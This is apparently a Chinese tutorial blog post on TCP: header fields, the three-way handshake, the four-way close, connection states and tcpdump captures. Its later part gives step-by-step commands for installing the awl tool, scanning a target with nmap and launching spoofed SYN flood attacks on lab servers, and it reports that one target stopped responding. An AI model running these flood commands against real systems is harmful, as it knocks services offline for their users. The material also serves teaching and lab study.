这个TCP连接就是一次追女生-谈恋爱-分手,追求比分手简单,但是分手比追求复杂。哥,谈了半年的女朋友,在就快要成功了的时候分了,原因是因为有人在后面该老子背后搞SYN洪泛攻击,最后女朋友丢失了。学会TCP,教你追回你的前女友。不再为爱迷茫,是我的就是我的,别人怎么也拿不走。

Tcp  是传输层协议非常复杂的协议

1) TCP是面向连接的运输层协议,也就是说应用程序在使用TCP协议之前,必须先建立TCP连接在传输数据完成后,必须释放已经建立的TCP连接。

2) 每一条TCP连接只能有两个端点,每一条TCP连接只能是点对点(1:1)

3) TCP提供可靠交付的服务,特点:无差错、不丢失、不重复、并且按时到达

4) TCP提供全双工通信。

5) TCP面向字节流。

TCP 的连接

TCP把连接作为最基本的抽象。

TCP是一个端到端的协议,TCP的端点叫套接字或插口。

RFC793中定义:端口号拼接到IP地址即构成套接字。(套接字 socket =(IP:Port)

每一条TCP连接唯一地被通信两端的连个端点所确定。

TCP 连接 ::={socket1,socket} ={(IP1:Port1),(IP2:Port2)}

Socket(同名词代表的不同含义)

1) socket 是传输层和应用层之间的一种接口称为socket API,简称socket。

2) socketAPI中集成的函数 socket();

3) 调用socket()函数的端点称为socket,

4) 调用socket()函数时,其返回值称为socket描述符

5) 在操作系统中内核连网协议的Berkeley实现称为socket

上面这些socket 和RFC793中的不同

 

可靠传输的工作原理

 

Tcp 协议发送的报文是交给IP层传送

理想条件:

1)传输信道不产生差错

2)不管对方发送多少数据,接受方都能接收到。

1) 停止等待协议

发送数据时,发送方向接收方发送数据包,每当发送方完成一个分组数据的传输就停止发送,等待对方确认,在收到确认后再发送下一个分组。如果发生超时,发送方就会重传。

无差错情况

出现差错

出现差错时候注意三点

必须暂时保留自己发送的分组脚本,对方收到确认后才可以清除保留的副本;

超时计时器应比数据分组传输往返平均时间更长一些,

确认丢失和迟到

接受方发送的socket迟到了,

第一:丢弃这个重复的分组M1,不向上层交付,

第二: 向A发送确认。

 

2) 连续ARQ协议

滑动窗口协议比较复杂,是TCP协议的精髓所在,

数据按照分组滑动发送,然后确认向前还是向后,确认后向前继续发送,这样就完成了连续发送,和累计确认,发送方对数据做了排序就可以累计发送,提高信道利用率。接受大批量数据时如果丢包后重传数据重复量较大。

 

TCP报文段的首部格式

1)     源端口和目的端口 各占两个字节,分别写入源端口号和目的端口号。

2)     序号 4字节

3)     确认号4字节

4)     数据偏移 占4位

5)     保留  

6)     紧急URG

7)     确认ACK

8)     推送PUSH

9)     复位RST

10)  同步 SYN

11)  终止FIN

12)  窗口    2 字节

13)  检验和 2字节

14)  紧急指针 2字节

15)  选项 最大40字节

Tcp运输连接管理,运输连接是用来传送TCP报文的,tcp运输连接的建立和释放是面向连接的通信必不可少的过程。运输连接有三个阶段,连接建立,数据传送,连接释放。

在连接过程中要解决以下三个问题

(1)     确认双方相互的存在。

(2)     要允许双方协商一些参数

(3)     能够对运输实体资源进行分配。

TCP三次握手

Tcp连接采用客户模式,主动发起方为客户,被动接收方为服务器

开始,A和B 都是处于关闭状态,A主动打开连接,发送一个信号,B被动的打开连接,

B 的CTP服务进程先创建传输控制块TCB,准备接受客户进程的连接请求。然后服务器进程处于Listen状态,等待客户的连接请求。

A de TCP 客户进程也首先创建出传输控制块TCB,然后向B发送连接请求报文段,这时候,首部的SYN = 1,同时选择一个初始序号 seq=x 。TCP规定SYN报文不能携带数据(SYN=1),但是要消耗一个序号,这时,tcp客户端进入 SYN-SENT(同步已经发送)状态。

B收到连接请求报文后,如同意建立连接,则向A发送确认,再确认报文段中把SYN和ACK都置为1,确认号为ack=x+1,同时也为自己选择一个序号seq=y,请注意,这个报文段不能携带数据,,同样消耗一个序号,这样TCP服务器进程进入SYN-RECVD(同步收到)状态。

TCP客户进程收到B的确认后,还要向B给出确认,确认报文段的ACK=1 确认号ack=y+1,自己的序列号为seq=x+1.  TCP 规定此时ACK可以携带报文。在这种情况下下一个数据报的序号任然是seq=x+1,这时TCP连接已经建立,A进入ESTABLISHED(已建立连接)状态。B收到确认后也进入ESTABLISHED(已建立连接)状态。

所以,以上建立连接过程为三次握手。(three-way handshake).

四次握手协议

TCP连接释放过程比较复杂,数据传输结束后通信双方都可以关闭连接,现在处于连接状态ESTABLISHED

A 的进程连接先向其发送TCP发出连接释放报文段,并停止再发送数据,主动关闭TCP连接。A把连接释放报文段首部的终止位控制位FIN置为1,序号seq = u ,u=前面传送完成的数据的最后一个字节的序号+1.这个时候A进入FIN-WAIT-1(终止等待1)状态,等待B的确认,TCP 规定,FIN报文不准携带数据,其消耗一个序号。

B收到连接释放报文段请求后确认,确认号ack = u +1, 而这个报文段自己的序号是v,等于B前面已传送过的最后一个字符的序号+1,然后进入CLOSE-WAIT(关闭等待)状态。TCP服务器进程这时通知最高层应用进程,因此A到B方向的连接就释放了,这时的TCP连接处于半关闭(half-close)状态,即A已经没有数据需要发送了,但是B 若发送数据,A任然要接受,也就是说从B到A 方向的连接还没关闭。这个状态会持续一段时间。

A收到B 的来信后进入FIN-WAIT-2(终止等待2)状态,等待B发出的连接释放报文。

若B没有要想A发送的数据,其应用进程就通知TCP释放连接。这时B发出的连接文FIN=1.现在假定B的序号为w(在半关闭状态B可能又发送了一条数)。B还必须重复上次已发送的确认号ack= u+1.这时候B进入LAST-ACK(最后确认)状态,等待A确认。

A在接受到B的连接释放报文后,必须对此发出确认。在确认报文段追中把ACK置为1,确认号ack=w+1, 自己的序号seq = u+1。(TCP标准,前面发送过的FIN报文要消耗掉一个序号)。然后进入到TIME-WAIT(等待时间)状态。请注意现在的TCP 还没释放掉,必须经过时间等待计时器设置的2MSL后,A才进入到CLOSED状态。时间MSL叫做最长报文段寿命,RFC793 中2分钟实际没这么长,因此A进入到TIME-WAIT状态后A经过4分钟才能到CLOSE状态,才能开始建立下一个新的连接,当A撤销相应的传输控制块TCB后,就结束了这次TCP连接。

B只要收到A发送的确认,就进入CLOSE关闭状态.B在撤销相应的传输控制块TCB后,就结束了这次的TCP连接。

上述的TCP连接过程称为四次握手。

为什么两次等待必须为2MSL时间?

第一:为了保证A发送的最后一个ACK报文能够到达B

第二:防止上一节提到的“以失效的连接请求报文段”,出现在本连接中。

一,TCP三次握手及TCP连接状态

        TCP报文首部格式:

解释以上信息:

ACK: TCP协议规定,只有ACK=1时有效,连接建立后所有发送的报文ACK必须为1

SYN(SYNchronization同步):在连接建立用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使用SYN=1和ACK=1因此,SYN置1表示这是一个连接请求或连接接受报文。

FIN(FINIS)即完,终结的意思,用来释放一个连接。当FIN=1时,表明此报文段发送方的数据已经发送完毕,并要求释放连接。

建立TCP连接时的TCP三次握手和断开TCP连接时的4次挥手整体过程如下图:

下面进行实战:使用tcpdump抓取TCP三次握手

TCP三次握手过程:

1. 首先由Client发出请求连接即SYN=1,声明自己的序号seq=X

2.然后Server进行回复确认,即SYN=1
声明自己的序号seq=y,并设置ack=x+1

3.最后Client再进行一次确认,设置seq=x+1 ack+y+1

注:seq 序列号范围:2^32-1
 如果超过最大值,再从0开始

seq
序列号作用:依据这个序列号来组数据,如果发N个数据包,服务端会按序列号来重新组装数据

实战1:使用tcpdump抓包查看TCP三次握手过程:

tcpdump 常用参数:

-c     指定包个数

-n     ip,端口用数字方式显示

port     指定端口

Client:192.168.180.162
         server:192.168.180.163

在clent上登陆,抓取ssh远程产生的tcp三次握手包:

[root@zylei 桌面]# tcpdump port 22 -c
3 -n

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

#提示一直在监听eth0

再另一个虚拟终端通过ssh连接到server端

[root@zylei 桌面]# ssh
root@192.168.180.163

root@192.168.180.163's password:

回到原来虚拟终端上来

[root@zylei 桌面]# tcpdump port 22 -c
3 -n

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

10:52:18.963529 IP
192.168.180.162.40274 > 192.168.180.163.ssh: Flags [S], seq 702394658, win 14600,
options [mss 1460,sackOK,TS val 86694762 ecr 0,nop,wscale 6], length 0

10:52:18.963768 IP 192.168.180.163.ssh
> 192.168.180.162.40274: Flags [S.], seq 3287233370, ack 702394659, win 28960, options [mss 1460,sackOK,TS val 70267731 ecr
86694762,nop,wscale 7], length 0

10:52:18.963791 IP 192.168.180.162.40274
> 192.168.180.163.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val
86694762 ecr 70267731], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

#Flag[S]中的S表示为SYN包为1  。client主机返回ack=1
这个值为相对序号,如果想查看完整序号可以命令后面加-S

[root@zylei 桌面]# tcpdump port 22 -c
3 -n -S

tcpdump: verbose output suppressed, use
-v or -vv for full protocol decode

listening on eth0, link-type EN10MB
(Ethernet), capture size 65535 bytes

11:04:01.333723 IP 192.168.180.162.40276
> 192.168.180.163.ssh: Flags [S], seq 143195220, win 14600, options [mss
1460,sackOK,TS val 87397132 ecr 0,nop,wscale 6], length 0

11:04:01.334138 IP 192.168.180.163.ssh
> 192.168.180.162.40276: Flags [S.], seq 3639491649, ack 143195221, win
28960, options [mss 1460,sackOK,TS val 70970102 ecr 87397132,nop,wscale 7],
length 0

11:04:01.334158 IP 192.168.180.162.40276
> 192.168.180.163.ssh: Flags [.], ack 3639491650, win 229, options
[nop,nop,TS val 87397133 ecr 70970102], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP连接状态

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求

客户端:SYN-SENT:再发送连接请求后等待匹配的连接请求

服务器端:SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端:ESTABLISHED:代表一个打开的连接

客户端:FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认

服务器端:CLOSE-WAIT:等待从本地用户发来的连接中断请求

客户端:FIN-WAIT-2:从远程TCP等待连接中断请求

服务器端:LAST-ACK:等待原来的发向远程TCP的连接中断请求的确认

客户端:TIME-WAIT:等待足够的时间以确保远程TCP接收到连接中断请求的确认

服务器端:CLOSED:没有任何连接状态

SYN洪水攻击概述:

SYN洪水攻击主要源于: tcp协议的三次握手机制

tcp协议面向链接的协议

SYN洪水攻击的过程:

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭时间,才能施放内存。

如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

3:使用awl伪装MAC对内网的服务器施实syn洪水攻击

 

实战拓扑图:

在客户机上安装awl软件进行攻击

下载地址:

https://gitlab.com/davical-project/awl/tags

上传到linux系统中

开始安装awl   0.5*之后的版本不能使用

[root@zylei ~]#tar zxvf awl-0.2.tar.gz
 #
解压

[root@zylei ~]#cd awl-0.2

[root@zylei awl-0.2]#./configure
  #
查检软件包安装环境

[root@zylei awl-0.2]#make  -j
 4   

#make  把源代码编译成可执行的二进制文件

# -j 4以4个进程同时编译,速度快

[root@zylei awl-0.2]#make install
  #
安装

查看安装的命令:

[root@zylei awl-0.2]# which awl

/usr/local/bin/awl

在xuegod64上搭建一台web服务器,模拟要被攻击的服务器

[root@carl ~]# yum install httpd -y
 #
安装web服务器

[root@carl ~]# service httpd start

开始攻击:

实战4: 在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@zylei ~]# ping 192.168.180.163

[root@zylei ~]# arp -n

Address
                 HWtype
 HWaddress
          Flags Mask
           Iface

192.168.180.163
         ether
  00:0c:29:cc:16:4d   C
                    eth0

192.168.180.220
         ether
  02:09:0f:78:d0:42   C
                    eth0

192.168.180.207
         ether
  60:a4:4c:4d:86:75   C

开始攻击:

awl参数如下:

-i 发送包的接口,如果省略默认是eth0

-m 指定目标mac地址    注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,FF.FF.FF.FF.FF.FFMAC地址是什么?

这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。

-d 被攻击机器的IP

-p 被攻击机器的端口

[root@zylei ~]# awl -i eth0
-m 00:0c:29:cc:16:4d -d 192.168.180.163 -p 80

测试攻击效果:

在server (carl)上查看:发现很多伪装成公网的IP在攻击我们

[root@carl ~]# netstat -antup |grep 80

Awl 安装,以及测试攻击

一,安装:
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make 
make install

awl的执行程序安装后在/usr/local/awl/bin目录下

二,说明:
awl 的格式如下:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port

参数如下:
-i 发送包的接口,如果省略默认是eth0
-m 被***机器的mac地址,程序不能根据被***IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff
-d 被***机器的IP
-p 被***机器的端口.

三,测试,
服务器端:Centos
  5.4
对方服务器:redhat  运行邮件服务器,sendmail

1,首先得知对方IP
运行nmap -v
-A 10.122.89.106 查看对方开了啥服务
[root@localhost bin]# nmap -v -A 10.122.89.106

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24
CST
DNS resolution of 1 IPs took 0.39s.
Initiating SYN Stealth Scan against 10.122.89.106
[1680 ports] at 19:24
Discovered open port 21/tcp on 10.122.89.106
Discovered open port 25/tcp on 10.122.89.106
Discovered open port 22/tcp on 10.122.89.106
Discovered open port 443/tcp on 10.122.89.106
Discovered open port 80/tcp on 10.122.89.106
Discovered open port 199/tcp on 10.122.89.106
Discovered open port 110/tcp on 10.122.89.106
Discovered open port 143/tcp on 10.122.89.106
Discovered open port 3306/tcp on 10.122.89.106

得知对方开了如上端口

ping 10.122.89.106 得知mac地址
查看arp -a 得知对方IP的MAC地址

2.开始***:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d
10.122.89.106 -p 25

ping 10.122.89.106 -t 查下对方反应

四,测试效果
***一开始,对方明显挂掉,各种应用无反应,
如下是抓包:
[root@localhost ~]# tcpdump
tcpdump: verbose output suppressed, use -v or
-vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet),
capture size 96 bytes

以上实验只用于学习TCP,严静用于违法犯罪。

不当使用,后果自负。未经博主同意不得转载。

TCP连接三次握手协议,释放连接四次挥手,以及使用 awl伪造mac地址进行多线程syn洪泛攻击。的更多相关文章

  1. TCP建立连接三次握手和释放连接四次握手

    TCP建立连接三次握手和释放连接四次握手     [转载]http://blog.csdn.net/guyuealian/article/details/52535294   在谈及TCP建立连接和释 ...

  2. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN洪水攻击

    SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制tcp协议面向链接的协议SYN洪水攻击的过程:在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存 ...

  3. 【转】TCP建立连接三次握手和释放连接四次握手

    在谈及TCP建立连接和释放连接过程,先来简单认识一下TCP报文段首部格式的的几个名词(这里只是简单说明,具体请查看相关教程) 序列号seq:占4个字节,用来标记数据段的顺序,TCP把连接中发送的所有数 ...

  4. 如何理解TCP的三次握手协议?

    • TCP是一个面向链接的协议,任何一个面向连接的协议,我们都可以将其类比为我们最熟悉的打电话模型. 如何类比呢?我们可以从建立和销毁两个阶段分别来看这件事情. 建立连接阶段 首先,我们来看看TCP中 ...

  5. 小tips:TCP的三次握手、长连接、 短连接、 SPDY 协议

    当网络通信时采用TCP协议时,在真正的读写操作之前,server与client之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接时它们可以释放这个连接,连接的建立是需要三次握手的,而释放则需 ...

  6. 最简单的理解 建立TCP连接 三次握手协议

     最简单的理解一:建立TCP连接:三次握手协议    客户端:我要对你讲话,你能听到吗:服务端:我能听到:而且我也要对你讲话,你能听到吗:客户端:我也能听到.…….互相开始通话…….. 二:关闭TCP ...

  7. TCP/IP三次握手协议

    一.简介         三次握手协议指的是在发送数据的准备阶段,服务器端和客户端之间需要进行三次交互,OSI参考模型中的网络层,在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一 ...

  8. TCP三次握手,数据传输,四次挥手

    TCP包结构 一个TCP包结构如下: 一个TCP包主要由TCP包头和数据部分组成,包头固定部分为20字节,选项和数据部分根据实际情况设置为4N(N可以为0)字节. 1.16bit源端口和目的端口号,它 ...

  9. TCP三次握手及释放连接详解(转)

    一.TCP头部简介 ACK :即确认字符,在数据通信中,接收站发给发送站的一种传输类控制字符.表示发来的数据已确认接收无误.TCP报文格式中的控制位由6个标志比特构成,其中一个就是ACK,ACK为1表 ...

随机推荐

  1. BZOJ1968 [Ahoi2005] 约数研究

    Description Input 只有一行一个整数 N(0 < N < 1000000). Output 只有一行输出,为整数M,即f(1)到f(N)的累加和. Sample Input ...

  2. 精选10款HTML5手机模板

    1.Stroller | Mobile & Tablet Responsive Template 演示地址   购买地址 2.Ocean Mobile Template 演示地址   购买地址 ...

  3. 新版qq canvas 动态背景

    <!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. kindeditor之video插件开发

    KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果.不仅结构小巧,而且功能强大,最主要的是它采用插件的开发管理方式,能很容易再它的基础上添加插件来实现自 ...

  5. Python 关于bytes类方法对数字转换的误区, Json的重要性

    本文起源于一次犯错, 在发觉bytes()里面可以填数字, 转出来的也是bytes类型, 就心急把里面的东西decode出来. 结果为空.搞来搞去以为是命令不熟练事实上错在逻辑. a1 = bytes ...

  6. Esri大数据分析引擎GeoAnalytics Server部署经历

    系统架构 Base WebGIS 4Cores 16GB Spatiotemporal Data Store 32GB SSD Disk 足够大的空间 GA Server 4Cores 16GB 足够 ...

  7. js 基于可视区域 创建展示区域对应的经纬度二维数组

    本篇文章主要是分享下基于地图区域创建经纬度二维数组,需要的朋友可以过来参考下 接上个文章, 基于 地图区域,算出这个展示区域对应的点. 经纬度的变化关系:  XY页面展示上, 从左到右维度是增加 如: ...

  8. Redirect local emails to a remote email account

    My previous post is a guide for setting up exim4, an SMTP mail server, to use Gmail as a smarthost. ...

  9. 软工读书笔记 week 1

    这次读书笔记主要是就<程序员修炼之道>这本书的前半部分做一些总结以及发表一些自己的看法. 本书前面的一部分主要是一些程序员应该在工作中时刻注意的事情,一些关键的信息如下: 1.处理问题的态 ...

  10. c# 操作临时数据---XML操作

    class Config { static string path; /// <summary> /// 配置文件的路径 /// </summary> public stati ...